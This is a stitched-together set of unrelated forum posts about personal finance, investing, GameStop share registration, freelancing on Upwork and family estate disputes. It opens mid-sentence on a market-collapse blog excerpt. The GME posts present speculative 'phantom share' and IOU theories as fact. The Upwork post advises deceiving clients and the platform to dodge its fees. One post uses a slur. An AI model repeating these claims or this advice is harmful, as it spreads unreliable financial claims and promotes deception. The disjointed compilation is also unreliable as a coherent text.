handouts over the previous two years***. This massive and unprecedented largess caused the savings rate in the U.S. to jump from 7.8% in January 2020 to 33.8% by April of the same year. However, that savings rate has now collapsed back down to 6.9%—below its pre-pandemic level. But what about the stash of savings consumers are sitting on that is supposed to carry GDP ever-higher this year? + +**Well, it appears that the rainy day fund is dwindling quickly.** According to the N.Y. Times and Moody’s Analytics, the excess savings among many working- and middle-class households could be exhausted as soon as early 2022. This would not only reduce their financial cushions but also potentially affect the economy since consumer spending has risen to become nearly 70% of GDP. + +**We have already seen multiple pandemic-era federal aid programs expire last September, including the massive federal supplement to unemployment benefits.** Now, with the Expanded Child Income tax credit having expired, which gave up to $300 per child under 6, and up to $250 per child ages 7 to 17 over the period from July to December, the fiscal challenges have become salient for many Americans. + +**But what about that pile of savings?** Estimates are that it now amounts to around $2.0 trillion (8.5% of GDP). It’s mostly in the hands of the very rich, who are savers and have a much lower marginal propensity to consume than those in the middle and lower classes. According to a study from Oxford Economics, 80% of that savings is in the hands of the top 20% of earners, and 42% went to the top 1%. Again, this is important because it is the middle and lower classes that are responsible for the majority of consumption. So, how is this economically-crucial cohort doing? Well, in addition to getting hurt by inflation and falling real wages, they are running out of their stimulus hoard quickly. According to a recent study done by JP Morgan Chase, households making $68,896 per year or less only have an extra $517 in their checking accounts on average compared with their pre-pandemic level. As unimpressive as that sounds, add in the fact that people don’t eat into their savings with the same zeal that they spend a fresh government handout, and you can see that so-called “mountain of savings” Wall Street loves to tout isn’t much more than a molehill. + +**When you factor in the massive fiscal and monetary cliffs together with the most overvalued stock market in history, you have the recipe for potential unprecedented stock market chaos, which should be front-end loaded in ‘22.** + +***If your retirement savings is with a deep state of Wall Street firm, you hold some mix of stocks and bonds that is set on autopilot. Their fate should be the same as the Hindenburg and Titanic.*** + +Michael Pento is the President and Founder of [Pento Portfolio Strategies](http://www.pentoport.com/), produces the weekly podcast called, [“The Mid-week Reality Check”](http://pentoport.com/blog/subscription/)  and Author of the book [“The Coming Bond Market Collapse.”](http://www.amazon.com/Coming-Bond-Market-Collapse-ebook/dp/B00C42S5KE/ref=sr_1_1?s=books&ie=UTF8&qid=1368206596&sr=1-1) + +[https://pentoport.com/fiscal-and-monetary-cliffs-have-arrived/](https://pentoport.com/fiscal-and-monetary-cliffs-have-arrived/) +A competitor is interested in buying my company. An M&A firm has reached out and our first call is today. The buying company signed a NDA (which my lawyer created) and it covers the M&A firm as well. + +What type of financials should I feel comfortable sharing in today’s call? Just revenue and net income? Or should I make this first call just about asking questions about the buying company and their intentions? I’m a little uncomfortable since they are a big competitor. Obviously I will not share client lists or the hourly rate that I charge. +Speaking of direct deposit - ACH + +I can't see a reason to use Coinbase now. Circle is so much easier and cheaper. I realize Circle says "no fees" but in actuality it's a 1% fee, HOWEVER the buy/sell price are always the same (so it's always been best to sell at Circle) + +Edit: Before someone brings up something like GDAX, I'm only speaking of incredibly easy user friendly experiences. (AKA "mom proof") +will be unpopular af.. but here it goes. + +I couldn't read the privacy policy well since my company internet (vpn) doesn't show it in my language , but they are clear to use your mailaddress for many purposes. this feeds their database and possibly their partners.. + +read about who you shared your data with here : https://www.change.org/policies/privacy + +Also... + + the subject of the case isn't PFOF, it's about D-Limit orders. Which are a different subject. you guys are protesting a subject that might not even be mentioned during the court-case. + +D-limit is something completely different. Educate yourselves before you follow like sheeple. + +A Discretionary Limit Order or D-Limit Order uses artificial intelligence to protect traders from latency arbitrage trading strategies. + +The innovative order type was created by the IEX group and achieved SEC approval in August of 2020. + +https://www.reddit.com/r/Superstonk/comments/mol4mx/what_is_a_dlimit_order/ +I want to ask those here who are already consistent. How long did it take you to get there? + +A personal goal I've set for myself is be consistent after a year of trading with a demo account before getting into real money. Is this realistic? +I rarely post. I mostly lurk and comments for moral boost. + +I got into GME from mid Jan and watched my investment took a nose dive due to the fuckery. It hurts but I preserve. Im glad I did. I have xxx shares split between Vanguard and Schwab. + +&#x200B; + +Okay, I have been super busy lately but I found some time to call Vanguard to DRS my shares. I did it because I did my research and I act as an individual investor. I thought I was safe with Vanguard but here is some highlights of my call (about 30m call, lots of holding while Cristopher checked everything: + +1. Lots and lots of DRS request coming to Vanguard\*\*-fact\*\* +2. Vanguard is not ready for this kind of DRS requests-**fact** +3. Cristopher told me that it usually only takes 5-7 days for DRS but now at least 30 days.- **fact** +4. Cristopher also said that "**Vanguard do not hold assets ready for DRS**" (he said this verbatim).- fact + 1. *Speculation:* Vanguard could have given me an IOUs for the process and now they dont have actual shares to transfer +5. Cristopher said that **DRS with Vanguard involves the work of the back offices** (I dont understand what this means but I thought I bought my shares with cash and now my shares are settled, it should take a push of a button to transfer) + 1. *Speculation*: I still remember that DR.T mentioned that there may not be enough shares for everyone when the music stops. +6. I request for a confirmation email to be sent to my email address so I have it for the record. Cristopher citing that he couldnt do that due to security. Now i dont have any papertrail showing that I initiated the transfer. Only from the recorded phone call. + +Well thats all, I will keep DRS 99% of my shares. Only leaving 1 share in my ROTH to sale and let it grow tax free. I have a stable job and I like my job (i am a nurse). I would like to inform that when I say infinity pool, I mean it. I have no interest of having "funny papers" that funny people from the Fed who printing 120B a month. However, **YOU DO YOU. I am very proud of all of you. Your 1 share matters. Your work matters.** + +All this information is from my limited and personal experience with Vanguard. Hope it helps! + +Take away/ TL;DR: + +1. DRS is king. You own your shares (The shares that you bought with your hard earned money) under YOUR NAMES. +2. Brokers (even the "reliable" ones) are now showing cracks in their processes and services. Excuse my french, Fuck brokers. +3. I like the stock. DRS is the way. If it doesn't cause an impact, it wouldnt be this hard. +4. BUY HOLD DRS. +5. Did I say DRS? +6. DRS DRS DRS DRS + +Cheers +Hi guys - this is my first year with a 7-digit tax bill, and rather than paying upfront - which would require liquidating some of my high-yielding stock holdings - I was considering opting into a long-term installment plan. + +Two questions: + +1) Are the penalties and interest payments generally prohibitive at this scale? + +2) Are there better options one should consider with such a tax bill? + +Thank you! + +Edit: note this applies to 2021 taxes due in April-2022 for USA +I apologize if this is a bit unusual, but I am desperate. Trying to find a trusted inpatient program for adolescent OCD + depression/suicidal ideation. The idea of a residential program scares me, but no longer have a choice. Have already lost one child and can't lose another. Would prefer to be close to home (PNW). If anyone has any suggestions, please. +In February, the immediate effects of the Trump tax cuts will take effect, resulting in average take home increases of $200-300 a month per household. Edit: This is due to tax bracket changes, resulting in new W-4 withholding tables, resulting in less being taken out of your paycheck. + +The average social security payout is $1,000 per month. The median retirement savings of families between 56 and 61 is $17,000. Those numbers make me uncomfortable. + +I want to encourage you to not squander the $300 a month your family is about to receive. If you start at age 25 years old and invest $300 per month into mutual or index funds and do the stock market average of 7-8% (after inflation), you will be a millionaire at age 65. That would mean you could safely withdraw $40-50,000 per year in retirement in addition to social security. I have a feeling that gets you a lot closer to the quality of life you currently enjoy than the $12,000 a year social security (might) give you. + +Do yourself a favor February 2018. When you figure up how much your take home increase will be, either up your 401(k) percentage at work, or go to a private brokerage and open up a Roth IRA and auto-transfer that amount to it every month. Future you will thank you when you aren't eating Spam or Ramon Noodles 3 meals a day. + +Edit: For details on the changes in the new tax plan, please see the previous Megathread + +https://www.reddit.com/r/personalfinance/comments/7l3b6r/us_tax_reform_megathread_the_tax_cuts_and_jobs/ +The splividend day disappointed, and reports are amassing about: + +\- trading suspendend + +\- shares not yet tradeable due to splividend shares not arrived (or settled) + +\- 1 share being sold / 4 new being bought + +&#x200B; + +Why is that? + +**Step 1: CNS** + +I believe the Continuous Net Settlement of the DTCC, which settles trades of equities for cash, is currently in turmoil. + +A share of GME, if not tradeable for another share of GME in a buy-sell-transaction, will be traded for CASH in the CNS system. + +This means, if i buy a GME share, but there is none available, the selling party puts CASH in the CNS and on the other hand a GME IOU share comes out for me. + +If i sell my GME share (lol), the IOU is returned to somewhere and i receive the CASH from the CNS that was put in beforehand. + +Makes sense so far? + +**Step 2: Who holds Phantom Shares?** + +Phantom Shares can be created in 1 of 3 ways: + +\- Stock Loan Program of the NSCC + +\- Failure to Deliver / Receive, e.g. someone sold shares before locating them, giving the buyer of the borrower phantom shares. + +\- Shorting, e.g. lender gives borrower shares for annualized CTB return. The SHARE RIGHTS are forfeited with this action, meaning no splividend shares for the LENDER! Yet, if your're on a margin account and the broker loans out your shares as per terms of service, you still see IOUs in your account. Theses are the *phantom shares for the lender*, you non-DRS rookie. + +To be conservative, lets just say everyone DRSd 50% of their shares, DRSd are 16x4 = 64m shares. + +If apes own 128m shares (2x DRS shares) of the new 303m shares outstanding, as per [computershared.net](https://computershared.net), every share sold short somehow is a *phantom share for the lender* in regards to the splividend shares. + +As per YellowWolf on twatter, [https://twitter.com/WeAreYellowWolf/status/1550553157251567616/photo/1](https://twitter.com/WeAreYellowWolf/status/1550553157251567616/photo/1), officially as of 6/30 13.3m shares were short. + +At 150$ thats 1.995.000.000 $ short. + +Now post-splividend, theres 53.2m shares short, at also valued 1.995bn $. + +BUT, the phantom share for the lender has just been divided by 4 in value! + +Meaning your lent shares, which now is an IOU in your account, is only 37.5$. + +Now you get 3 more IOUs, otherwise you'd see your account be quartered in value. Sound familiar to anyone today?! + +**Step 3 - Splividend IOUs (phantom shares) in the CNS** + +Circle back to the CNS - if your broker buys your lending ass 3 IOUs, they have to post CASH as collateral to the CNS. + +Thats 150-37.5 = 112.5$ per share, for the 3 new IOUs in the lenders account. + +That accumulates to 13.3m\*112.5$ = 1.500.000.000$, 7.2% of the market cap of GME. + +Who would pay that on free will? no one. + +Instead, if brokers sold your shares at 150$, received the CNS cash and then re-bought 4 cheap IOUs for the same 150$, they'd pay no extra cash. + +Dont accept brokers fucking us cause they cash cheap loan fees (cost to borrow) and then not post collateral for the splividend. + +Others may not let you trade / wait for the real splividend shares to arrive and i guess thats okay, because T+2. + +**Step 4 - The kicker (DRS)** + +If you finally receive tradeable, settled shares in your account, you settle to believe these are in fact the real ones, this time surely. + +Would be a shame if someone handed just more CASH to the CNS to receive DTCC IOUs called GME in your portfolio. + +But why not just DRS the little fuckers just to be sure? Then every 3 in 4 GME shares booked into your accounts would be exposed for what it might be, an IOU which WILL SHOW ON RECORD, as an FTD. + +Imagine 3/4 of trades failing to deliver and DRS approaching final velocity. + +This is the time to DRS the fuck outta the DTCC. + +Apes gotta start the MOASS by themselves. + +Because fuck'em thats why. + +DRS. BUY. HODL. +As the title says, two of my close friends are SO anti GME that they refused a risk free investment opportunity into the company. They know I'm an xxx holder and literally would not even take the risk free bet on the company. + +I honestly feel bad for them. When we ride this rocket ship to the moon, they'll be left in the dust. + +If you see this post Dan and Chan, y'all are fuckin retarded <3 + +BUY. HODL. DRS YO SHARES! +I got laid off in 08. The job market was shit then so I started looking into how to make some side money online. + +I found upwork.com (formerly elance) and mturk.com and realized people would pay me to transcribe. I made 15k that way over 4 months doing it from home. This is something I would definitely recommend to anyone because we can all type. And while it is slow at first, I eventually got to the point where I could type 1 hour of audio in 75 mins. + +I chose transcribing. But what's great about upwork is there's literally hundreds of things people are willing to pay someone to do. Whether that's grammar, editing, graphic design, website building, literally anything and everything. So think of what skills you have and search on upwork to see if people will pay for you to do it. + +Once you've found something someone will pay you for, the hard part is actually getting the gigs. There will definitely be other people trying to get the job too, and everyone submits an application with what's called a bid. Which you have to pay for, but they are cheap. + +Here's how you can increase your chances of landing your gigs. It will be slow at first, but as soon as you complete a couple you will get reviews and it will become much easier to land others. + +First things first, whatever thing you decide to do or focus on, look at the profiles of top workers / freelancers in that space and try to make yours as similar and professional looking as possible. There's good advice on YouTube so I recommend checking out some videos (both when it comes to crafting your profile, and submitting proposals for gigs. However, you can do just fine by using others as an example or starting point.) + +Next, you need to craft your proposal. This can seem daunting at first. But instead you can be smart about it. Create a separate account on upwork as a job lister and list your job for free. (You may even be able to list your job w/ the same account.) Find people who submitted and are the highest rated and craft your proposal after theirs. You should be able to list jobs for free still. + +Once you have your proposal, the next is getting jobs. It will be tough at first. But to get around this in the early stages I always told people I was willing to do it for a discounted rate of 30% or more if they would leave an honest review. After I did 5 of those and finally had some reviews, it then became much easier to get jobs. + +Another thing I would focus on is getting repeat business. When I sent the work to the job provider I would tell them if they are happy with the work I would be happy to continue to do any future work for them so they knew they would have quality they rely on and so they wouldn't have to go through the hassle of listing a job each time on upwork. They could just email me and I'd get it done right away. Once I obtained their private email address, I would then take jobs outside of upwork and accept payment via PayPal and google and Amazon payments. I would also offer them discounts if they referred anyone. This encouraged people to send their friends my way, especially because I always focused on making it the best quality I could. Which, you should focus on quality too. Good work makes happy customers and happy customers makes more customers. PLEASE NOTE: UPWORK OBVIOUSLY DOESNT LIKE THIS SO DO NOT SAY UT ON THEIR SYSTEMS. BECAUSE IF YOU GO OUTSIDE UPWORK, THEY DONT GET PAID. INSTEAD BE COY ABOUT IT. SAY YOURE HAVING TROUBLE SENDING THE FILE ON UPWORK OR THAT YOU WANT TO SEND THEM A THANK YOU EMAIL OR SOME OTHER REASON AND GET THEIR EMAIL ADDRESS. + +After a while, I was able to charge a premium for my work because I had so many reviews. I went from making $20/hr of audio to $60-$80 minimum depending on the job. Sometimes I even made $100 or more per an hour of audio. So while it does take a little elbow grease at first, consider it as an investment in yourself that will pay off a little down the road because you'll be able to charge a premium for your work. + +Whatever you do, if you decide to take this route, DO NOT get involved with the people who promise to show you ways of making money online if you buy their book or whatever. It's 95% of the time a scam and they are very good at manipulating people to spend money they don't have. + +After a while you will have a consistent list of repeat customers, a strong profile with good reviews, and you'll even be pulling in more work through bids. You can then hire people to work under you, or simply work as little or as much as you want. + +You could even take this formula and make a business out of it full time if you wanted. That's up to you. + +But this is by far the easiest way you can make side income or even a full time income on the computer. I hope this helps! I'm happy to answer any questions about running an online business or starting a freelance business. + +EDIT 1: There are other sites that job providers post. Freelancer is a good one. Wherever people are posting jobs that's a place you want to be. The same methodology applies! So absolutely don't hesitate to use more than one site. + +EDIT 2: Someone asked what jobs they could do if they aren't good at programming. But upwork isn't limited to programming so here was my response: There's so many options. I have barely any programming skills either. But I can still type. I can still edit videos. I can still create videos. I can still install Wordpress. And on upwork people will pay you for that it's not limited to programming. I recommend searching by job category to get an idea of just how vast the list of jobs available are. If you're good at something, chances are someone is trying to get someone like you to do it for money. +Write a list of things you can do. Even if you don't think you're good at them, as long as some other people might not know how to do it(like installing Wordpress or cropping a video), add it to the list. Then search for jobs like that on upwork to see which are viable. +You can even get jobs proofreading. And we can all read! + +EDIT 3: I'm off to bed but will continue answering questions in the morning. :] + +EDIT 4: Transcription Is just what I chose to focus on. There are many other things you could do instead, and the same focus and methodology applies as above. Someone commented saying they made a full time business via upwork through voice acting. Someone else made money doing investment presentations. There's tons of possibilities. Also keep in mind there will always be people trying to lowball. But they get what they pay for which is a ESL person who may not speak well or even do the work well. There are good jobs out there. Be sure to broaden your scope to other freelancing sites as well. For example I have friends on Fiverr who make $1k to $2k sales doing video animation with a software and it only takes them a day of work. There's plenty of money to be made. + +EDIT 5: There's a handful of skeptical people. That's fine skepticism is good most of the time. Especially if someone is selling something. I'm not selling anything though. Take a look at some of the people in the entrepreneur subreddit confirming what I've written. There's also some good advice too! https://www.reddit.com/r/Entrepreneur/comments/6y6fgj/ive_been_working_from_home_as_a_small_business/ +If there's been other posts here about this, apologies. + +I'm interested in exploring acquiring a vacation rental property with a group of +/- 5 investors that would be close friends. We are all young professionals in our 20s with good jobs and strong financial situations. + +I would say that there are two primary reasons why we are interested in considering this opportunity. 1) Our group currently gets together at least 2-3 times per year for a weekend up to a week, so we would intend to use the house for that purpose. 2) We think that it may be possible to earn a decent return on our investment while still being able to accommodate ourselves several times a year. + +I'm really looking for advice as to whether my second point above is even remotely accurate. If someone has a good resource for financially underwriting this type of opportunity, that would be much appreciated as well. I know that owning real estate with friends is a total crapshoot. +I'm just curious to hear some stories about your first investment property. How did you decide on the location? What was your financial situation like? What did you learn from that experience? + +I have a personal goal to buy my first investment property in a college town to rent to students by the end of next year. I've got a strict savings plan in place and am grinding to make it happen. Just wanted to see some stories from the experienced investors of how they started and what inspired their first investment. +I'll be living in half and renting out halfl. I've got meetings with a realtor, lending agency and contact information for a lawyer and insurance rep. How else can I prepare? +The other day there was a post about credit cards and which ones people like to carry. It got me thinking because I am on auto-pilot with my AmEx, but the Chase Sapphire Reserve is looking better. Without hitting every single difference or benefit, here's my head-to-head analysis of the two cards (which were the two favorites in that post). + +American Express Platinum + +* $200 in travel credits on one selected airline +* $15/mo Uber Cash, does not rollover each month +* Superior lounge access including the Centurion Lounges +* Points worth .01, unless you use them on your selected airline, then they are .015 +* $50 credit to Saks 5th Ave every 6 mos (Jan-Jun/Jul-Dec). +* $200 hotel credit for hotels booked through Amex +* Elite status with Marriot/Hilton +* $20/mo in digital entertainment, including audible.com +* Secondary car rental coverage and "ok" travel coverage + +Fee: $695 per year + $175 to add up to 3 additional users + +[Note, I am paying $550 per year for this card, and it is supposed to go up to $595 per year next year. I don't know why I qualify for the lower rate, maybe because I am an existing member? But the current advertised rate is $695.] + +Chase Sapphire Reserve (Visa) + +* $300 in travel credits, but much easier to use +* One year (only?) of Lyft Pink (15% off rides, etc). +* Lounge Access for Priority Pass locations only (less luxurious but there are lots of them). +* Points worth .015 +* Doordash subscription ($0 delivery fee, etc) +* Primary car rental coverage and great travel coverage + +Fee: $550 per year + $75 per an additional user + +Since I am a frequent traveler and near-future expat, one thing that is important for me is that the card be accepted widely out of the United States, which AmEx is not (they both have no foreign transaction fees though) ... that said, there's no question the lounge access is better with AmEx and, I think, the customer service is better too. I am not, however, fond of big chain hotels. So AmEx's hotel benefit is not really appealing and I cannot remember the last time I set foot in a Saks Fifth Avenue. The Uber benefit through AmEx is nice, but it's a use-it-or-lose-it benefit and that's annoying, and the similar digital entertainment benefit is a pretty weak draw too (aside from aubible.com, but I don't listen to that many eBooks). I was also surprised that travel coverage with AmEx was much less attractive, aside from the allegedly "no limit" evacuation overage, Chase had much better offerings. + +In sum, I was really surprised at how Chase Sapphire Reserve was eating AmEx's lunch. The AmEx card seems increasingly overpriced and stodgy to me now, and you clearly have to work harder to get the benefits to offset the annual fee whereas the Chase card seems much more flexible and user-friendly, and it's easier to rack up points (e.g., 3x points at restaurants and travel worldwide, and regardless of how you book the travel, through Chase or directly), which themselves seem more valuable. + +So, am I missing something? Is the Centurion Lounge access really worth it at $695 a year? Is Chase's customer service really not on par with AmEx? I'm wondering, quite frankly, why I should keep the AmEx and/or why anyone would prefer the AmEx over the Chase card (unless, of course, you value the hotel benefits too). +Hi fatties, + +I've been trying to search online and reddit for inspirations to build a 10+ years life map for my family with young kids. Think bucket list and experience optimization for the age of the family members/seasons/interests etc. I love my two boys under two and my wife who is truly a goat mother/wife/person. I don't want to squander and waste the opportunity to grow and spend quality time as a family. + +Things to measure could be: + +- Time allocation per week to key activities. Think learning and playing and family time +- New places to visit. Could be small like a new trail locally or bigger like a new country +- New things to do. Could be a yard sale or a lemonade stand or a RV trip +- Age/fitness specific bucket lists. Think Disney cruise, Camino de Santiago, father and son marathon + +I'm well versed at devising such a plan when it comes to personal finances or my career. It's almost all I think about, which is part of the problem. I want a more intentional life for me and my family. I've had plenty of reminders as of late that life is short. I grew up in a traditional immigrant family. Life was about getting ahead. Time spent on sports, hobbies, travelling was time not spent studying or working. + +I'm really interested to hear all the fat parents' thoughts on what's worked for them or if you have a list/plan that you can share? Doesn't have to be posh or luxury although that's ok too. + +Cheers! +I started investing outside of my 401k at the beginning of 2016 using various IRA's. Of course, I started with index funds after reading things recommended here and Bogleheads. + +But, since I'm a CPA by day and put together and read financials for a living, combined with the joy of stock picking, I decided to try my hand at picking stocks. I told myself to give it a year, and if my returns of behind the S&P 500, I'll go back to indexing. + +Needless to say, I'm going back to indexing. My total return for picking stocks is 3.80%. A whopping $800 extra in my account! Wow. + +I owned 15 positions. Most of those have been red, with a few greens in the 2-4% range. No companies you never heard of. All nice big blue chips. I didn't even come close. My best performance was Boeing at a whopping 40% return, followed by Visa for 25% and Facebook for 12%. + +I learned my lesson. If I would have stuck to SWTSX, I'd be sitting on an $3,000, not $800. LOL. Actually doing it was the best teacher. Part of me thinks it was harder due to the 9 year bull market. I think I would have faired better if I was doing this in 2009, after coming out of a devasting bear market. + +Anyways, indexing is really the best way to put your money to work for the long term. Now maybe my wife will get off my back! + + +What if Japan style collapse comes to America and the market goes down/sideways for the next 20-30 years? + +Let's just assume for a moment that this happens and avoid a debate about whether or not it will: what does this mean for investing strategy which, up until the crash, was to just buy and hold a diversified portfolio and assume 8-9% annual nominal returns? + +The Nikkei 225 has returned a total of -50% (yes, negative) over the past 30 years though deflation and stronger yen relative to other currencies may have blunted some of that impact. Only from 2011-2019 did the Nikkei return a respectable 7-7.5% pa. + +At what point would you pull your money from the market and put it into cash or bonds? One strategy is to ensure geographical diversification and invest in other developed and emerging markets - but many of them are tied to the US so it may not provide much of a hedge. + +EDIT: My point is not about whether this will happen or not, but to have a plan for scenarios that could be increasingly likely given the unprecedented run up in the Fed's balance sheet and long term effects of economic shutdown +Sp500 Is currently down 10% from ATH, Nasdaq -15% + +I wanted to make a poll but i can't, anyway the opinions i keep reading are: + +1-Yes, Bubble burst and this Is Just the start of a big drop. + +2-No, we are in a bubble but people still have a buy the dip mentality and so we will make another leg up before the big drop. + +3-There Is no Bubble at all, tech stock are tust a bit overpriced but nothing like dot com Bubble because now they are actually profitable,and this Is Just a healthy correction before resuming the bull run + +Where do you stand? And why? + +I'm with #2, you can elaborate your own option of course +A few years ago I did something stupid and purchased a certified Toyota. Back then, I had just gotten out of an abusive relationship and went from splitting bills to renting an apartment on my own for three times as much as I was paying before. I had an unreliable car and had to purchase a solid one to get me to work and back, an hour commute one way. + +Today, I work from home making more than I was then, $15.50/hour. I have about 3k in credit card debt I’m paying off monthly. I no longer have the need for a 10k car (not that I ever did in the first place). + +Today I found out that I owe $500 less on my car than the retail selling price. A few more months and I’ll be able to sell my car and buy a beater outright. My new fiancé has a decent Jeep that we will use for everything unless I make a trip to town on my own. I cannot wait to have that $400 extra a month to put towards my debt and going back to school. It’s been a long journey to get here but it’s the small victories. + +Thanks for sharing this small victory with me. I just wanted to show that it can be done. +Hi all, + +My mum has recently passed away and I need some quick steer. Time is of the essence so don't have time to get proper advice right now (but of course i will in due course). This is probably an answer the brains trust here know anyway. + +Mum has just moved house. Her previous PPOR is about to be rented out, tenant about to move in in a couple of days just awaiting me as executor to sign the last docs (hence the urgency of this question). + +I need to know how long an inherited property can still be eligible for sale without cgt? Or if that's a thing at all... I'm pretty sure it is. + +This will make my decision as to whether to go ahead with the tenant, adjust their tenancy period or revoke the tenancy offer and just move to sell. + +Hope that's clear and appreciate the help. Quite vulnerable right now, please no 'don't ask the internet shit', I get it but got a lot going on right now and this community is damn smart for quick answers. + +Thanks +For those newcomers out there in this subreddit (and I know there are many of you, as the subreddit has grown very rapidly in the last 12 months), this is the time to buy. + +In all the times that you felt left out, on the sidelines with no capital to invest that will yield any significant amount of bitcoin, the door has now opened. For most, when good things happen such as the price rising meteorically, they feel very good and sort of just "ride the wave." Unfortunately, those same people usually ride the wave down as well. Therefore, when it comes time when the price has dipped into ranges like we see today, misery increases. + +We are social creatures, and thus we mimic each others' emotions in order to fit in. Fitting in, however, is not how you get ahead. It's not how you make money. In order to do that, you need to go against the grain and take risks. The risk that presents itself in these situations is the possibility of community disillusionment to such an extreme degree that we see capitulation to much lower levels. This, however unlikely, is still a possibility. + +To summarize what I'm saying here, most of us simply "project" the sentiments of those around us, rather than exercising our own agency. When this happens, our free will is stripped of us, and we get stuck in a loop that is beholden to the whims of the collective. + +To have agency requires suffering, sadly... And a lot of it. + +Those "evil" people, such as Roger Ver, Jihan Wu, and others, have acquired so much wealth in this ecosystem because they have bought through the horrific dips (and undoubtedly helped to cause some, but for now, that's beside the point). These types of people, unfortunately, are banking on you showing that you do not exist as a sovereign individual, and thus being justified in treating you as some type of slave. It's sickening, but true. There aren't too many people like Ver and Wu in this world, but there are enough of them to do some real damage. + +The philosophy that may help you to get through this painful cycle is to think of it this way: you're taking coins out of the hands of Wu and Ver, and those like them. Your hands will be more steady in their actions, more virtuous, and will help build things. Not only does this increase your strength, but in however small a manner, it decreases theirs. + +That's why it is those who truly believe in the idea of bitcoin that tend to buy more in the dips, and acquire more of a market share... And why bad actors do so as well, from what I can tell. Bad actors have a belief that you are not able to make your own decisions. Good actors have a belief that something beautiful can come out of this all. + +What is the one unifying factor of it all? There is some type of belief. That's the way it always is. You only have efficacy in the world if you believe in something, no matter what it is. Prove you want bitcoin and aren't simply a projection by suffering mightily through these periods, and buying more. + +That's all. Have a good day, and keep kicking ass and taking names, bitcoiners :-) +I often see people advising against a BTL and to just whack the money into an index. + +This is a somewhat controversial/political viewpoint but if you aren't looking to be dependant on rental income aren't you essentially having someone else buy you the house through paying rent and all you need to raise is the deposit for the property and be able to pay maintenance, stamp duty etc. If you do this through a LTD company you don't need to worry so much about the tax. + +So I just need to save £18k for the deposit on a £70k house up north and then by making payments as many payments as early as possible eventually the rental income would have paid off the mortgage and I'd have a £70k asset for putting £18k down on the house. + +Zoopla says Middlesborough has average rental yields of 7% - I guess its less than this as this is calculated by comparing house price and rental income but this hasn't considered the cost of repairs and lawyers etc which I don't know the cost of (sure someone does). + +Anyhow, assuming the price of the house did not increase in price at all putting £18k into an ISA and leaving it's going to take 22 years @ 6% to get £72k. I know this isn't highly accurate as you would probably need to add all the money spent on repairs etc to make it a fairer comparison. + +I guess the question is if you're interested in running BTL as more of a business, can wait for the income, and are less risk-averse is it not a really good investment? + +Or is my logic just completely off with this one? Young, new to PF and naive so very open to the idea I could have gotten this wrong. +*Edit because this blew up +1. I am a male, thanks. +2. I don't want early access to my grandmother's estate. I would like to see as much of it spent as necessary to ensure her comfort and wellbeing. +3. I am worried that the quality of care we could expect from a professional at this price range would exceed the current quality. +4. My grandmother is indeed fading mentally. I worry that this arrangement does not pass the sniff test. +5. You guys are pretty hostile. Is everything cool with you? Chill out, if i wanted to rip of my nana, I'd post this in r/fuckfaceadvice. + +I'm 28. My father was killed, and I inherited his share of his mother's house and future estate. + +My 93 year old grandmother has significant assets, and has recently lost the ability to live alone and is unlikely to regain it. She needs some amount of care to stay in her home. + +I have three aunts, and we split ownership of grandmother's house 4 ways (I have 1/4 share). In the event of my grandmother's passing, we will also split her estate four ways. + +Two of my aunts insist she requires 24/7 in home care and that one of those aunts (who happens to be unemployed and moved back home before this started) is most qualified to provide it and should be paid $20 to $30 an hour to just be in the house, as well as to prepare some meals and clean, etc. She has recently taken over all the checking/savings accounts and money management. This scares me a little. + +The third aunt and I disagree about the level of care my grandmother requires and are suspicious that the arrangement only benefits the aunt who lives with my grandmother. This live at home aunt has recently lost her job, and has no other means of support. We also feel that she is a poor caregiver and our money should be spent on a professional. + +Is it reasonable for my unskilled aunt to pay herself $20 an hour 24/7 to stay in the home? + +What rights do I have as a beneficiary of the estate watching the amount of spending explode to cover what I view as unnecessary care? + +How would I go about protecting the estate from my aunt if I believe that she is paying herself under the table and futzing with the numbers? + +Sorry for the book. Any help? + + + +Hello Apes! + +I'm late everything you need is here for today [https://www.reddit.com/r/Superstonk/comments/p0koqe/jerkin\_it\_with\_gherkinit\_forward\_looking\_ta\_for/](https://www.reddit.com/r/Superstonk/comments/p0koqe/jerkin_it_with_gherkinit_forward_looking_ta_for/) + +Join us in the Daily Livestream [https://www.youtube.com/c/PickleFinancial](https://www.youtube.com/c/PickleFinancial) + +Or listen along with our live audio feed on [Discord](https://discord.gg/HbqnUVsSrH) + +(save these links in case reddit goes down) + +*(this post will read from top to bottom)* + +(*feel free to ask me questions below, but if you can google it yourself please use common sense)* + +Historical Resistance/Support: + +116.5, 125.5, 132.5, 141, 145, 147.5, 150, 152.5, 157 (previous ATM offering), 158.5, 162.5, 163, 165.5, 172.5, 174, 176.5, 180.5, 182.5, 185, 187.5, 190, 192.5, 195, 196.5, 197.5, 200, 209, 211.5, 214.5, 218, 225.20 (new ATM offering) 226, 232.5, 235, 242.5, 250, 255, 262.5, 275, 280, 285, 300, 302.50, 310, 317.50, 325, 332.5, 340, 350, 400, 483, moon base... + +# After Market + +I'm not gonna lie GME constantly closing with some variation of 69 in the price makes me feel like I'm in a simulation but here it is. Today was a bit odd there was some degree of ETF shorting going on but on GME itself no ITM puts and no shares borrowed only returned. If this continues tomorrow I will start to wonder why? Thank you all for tuning in see you tomorrow! + +\- Gherkinit + +https://preview.redd.it/t5dyh9ky1eg71.png?width=572&format=png&auto=webp&s=7269bbc247a8c0e1aa63ce2de6d9599ffb70fc51 + +Edit 6 1:36 + +Intraday cup and handle? Idk real-time market manipulation is fun and there aren't gonna be any day-traders left on that third test of 164 + +https://preview.redd.it/74nz7y16cdg71.png?width=1765&format=png&auto=webp&s=1256318257bc965eb8bc7903124a4575d0bab11f + +Edit 5 12:23 + +Nice bounce off the completion of that head and shoulders heading back up and a little extra volume trickling in + +https://preview.redd.it/p1uetsn3zcg71.png?width=1766&format=png&auto=webp&s=bf5864fcc9c8f03397de46d81f288c400ab327b9 + +Edit 4 11:39 + +Little Head and shoulders likely back down to VWAP + +https://preview.redd.it/jloxfo1brcg71.png?width=1767&format=png&auto=webp&s=942db0df0dc0f72754c36716844abbd5d2fa6291 + +Edit 3 10:48 + +RSI bottoming out at the 157 resistance volume still sub 1 million but it looks like we may be turning back around + +https://preview.redd.it/jqcyw165icg71.png?width=1770&format=png&auto=webp&s=c25500cd6db630492caa926faed54a3697601c28 + +Edit 2 10:03 + +Tested 159 consolidating a bit but up 4.45% on sub 400k volume + +https://preview.redd.it/nyrqoqb7acg71.png?width=1768&format=png&auto=webp&s=9a2cfbf6fa6b00c93bdf975cc5eb2a53ac39916c + +Edit 1 9:50 + +196k volume in the first 20 minutes... but decent move upwards sitting above VWAP possibly moving in for a test at 157 albeit a very slow one + 